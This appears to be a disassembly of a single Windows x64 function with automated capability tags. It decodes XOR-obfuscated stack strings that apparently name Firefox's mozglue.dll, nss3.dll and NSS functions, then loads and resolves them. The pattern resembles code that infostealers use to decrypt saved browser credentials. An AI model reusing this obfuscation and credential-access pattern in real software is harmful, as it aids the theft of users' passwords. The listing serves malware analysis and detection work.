Function at 0x140012dbc
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Encode data using xor
Get file attributes
Link many functions at runtime

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x288]
sub rsp, 0x370
lea rdx, [rbp + 0x50]
mov rsi, rcx
call fcn.140012cac
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov r15d, SafeArrayUnaccessData
mov dword [rsp + 0x20], 0x687d7f4e
mov dword [rsp + 0x24], 0x77677e75
mov dword [rsp + 0x28], 0x7e7e763c
mov byte [rsp + 0x2c], r15b
lea edi, [r15 - 5]
mov ecx, edi
call fcn.140002534
lea r8, [rsp + 0x20]
mov rdx, rax
sub r8, rax
lea r14d, [r15 - 0x11]
mov r9d, edi
mov cl, byte [r8 + rdx]
xor cl, r15b
mov byte [rdx], cl
add rdx, r14
sub r9, r14
jne 0x140012e39
mov rdx, rax
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x14001f458], rax
test rax, rax
je 0x140013237
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, 0xa
mov dword [rsp + 0x20], 0x61617c4e
mov ecx, ebx
mov dword [rsp + 0x24], 0x7e763c21
mov word [rsp + 0x28], 0x127e
call fcn.140002534
lea r8, [rsp + 0x20]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r15b
mov byte [rdx], cl
add rdx, r14
sub rbx, r14
jne 0x140012eb2
mov rdx, rax
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x14001f450], rax
test rax, rax
je 0x14001322a
mov ebx, 9
mov dword [rsp + 0x20], 0x4d41415c
mov ecx, ebx
mov dword [rsp + 0x24], 0x667b7c5b
mov byte [rsp + 0x28], r15b
call fcn.140002534
lea r8, [rsp + 0x20]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r15b
mov byte [rdx], cl
add rdx, r14
sub rbx, r14
jne 0x140012f1c
mov rcx, qword [0x14001f450]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
mov dword [rsp + 0x20], 0x4d41415c
mov qword [0x14001f400], rax
mov dword [rsp + 0x24], 0x66677a41
mov dword [rsp + 0x28], 0x7c657d76
mov byte [rsp + 0x2c], r15b
call fcn.140002534
lea r8, [rsp + 0x20]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r15b
mov byte [rdx], cl
add rdx, r14
sub rdi, r14
jne 0x140012f74
mov rcx, qword [0x14001f450]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqa xmm0, xmmword [0x14001c780]
lea ebx, [rdi + 0x18]
mov ecx, ebx
mov qword [0x14001f430], rax
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x416b7759
mov dword [rsp + 0x34], 0x12667d7e
call fcn.140002534
lea r8, [rsp + 0x20]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r15b
mov byte [rdx], cl
add rdx, r14
sub rbx, r14
jne 0x140012fcf
mov rcx, qword [0x14001f450]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, 0xe
mov dword [rsp + 0x20], 0x23235942
mov ecx, ebx
mov qword [0x14001f408], rax
mov dword [rsp + 0x24], 0x7760544d
mov dword [rsp + 0x28], 0x7d7e4177
mov word [rsp + 0x2c], 0x1266
call fcn.140002534
lea r8, [rsp + 0x20]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r15b
mov byte [rdx], cl
add rdx, r14
sub rbx, r14
jne 0x14001302d
mov rcx, qword [0x14001f450]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqa xmm0, xmmword [0x14001c760]
mov ebx, reloc.OLEAUT32.dll_SafeArrayUnaccessData
mov ecx, ebx
mov qword [0x14001f438], rax
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x7d656161
mov word [rsp + 0x34], 0x7660
mov byte [rsp + 0x36], r15b
call fcn.140002534
lea r8, [rsp + 0x20]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r15b
mov byte [rdx], cl
add rdx, r14
sub rbx, r14
jne 0x14001308e
mov rcx, qword [0x14001f450]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqa xmm0, xmmword [0x14001c750]
mov rcx, r15
movdqu xmmword [rsp + 0x20], xmm0
mov qword [0x14001f428], rax
mov word [rsp + 0x30], 0x1277
call fcn.140002534
lea r8, [rsp + 0x20]
mov rdx, rax
sub r8, rax
mov r9, r15
mov cl, byte [r8 + rdx]
xor cl, r15b
mov byte [rdx], cl
add rdx, r14
sub r9, r14
jne 0x1400130e1
mov rcx, qword [0x14001f450]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqa xmm0, xmmword [str.BYAV_MVwq_kbf]
mov ebx, 0x10
mov ecx, ebx
mov qword [0x14001f420], rax
movdqu xmmword [rsp + 0x20], xmm0
call fcn.140002534
lea r8, [rsp + 0x20]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, r15b
mov byte [rdx], cl
add rdx, r14
sub rbx, r14
jne 0x14001312e
mov rcx, qword [0x14001f450]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movdqa xmm0, xmmword [0x14001c770]
mov rcx, r15
movdqu xmmword [rsp + 0x20], xmm0
mov qword [0x14001f410], rax
mov word [rsp + 0x30], 0x127f
call fcn.140002534
lea r8, [rsp + 0x20]
mov rdx, rax
sub r8, rax
mov r9, r15
mov cl, byte [r8 + rdx]
xor cl, r15b
mov byte [rdx], cl
add rdx, r14
sub r9, r14
jne 0x140013181
mov rcx, qword [0x14001f450]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x14001f400], 0
mov qword [0x14001f440], rax
je 0x14001321d
cmp qword [0x14001f430], 0
je 0x14001321d
cmp qword [0x14001f408], 0
je 0x14001321d
cmp qword [0x14001f438], 0
je 0x14001321d
cmp qword [0x14001f428], 0
je 0x14001321d
cmp qword [0x14001f420], 0
je 0x14001321d
cmp qword [0x14001f410], 0
je 0x14001321d
test rax, rax
je 0x14001321d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140013237
mov rcx, rsi
call fcn.140007874
mov rcx, rax
call fcn.14001325c
cmp eax, r14d
jne 0x140013257
call qword [0x14001f430]
mov rcx, qword [0x14001f450]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [0x14001f458]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, r14d
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
xor eax, eax
jmp 0x14001323a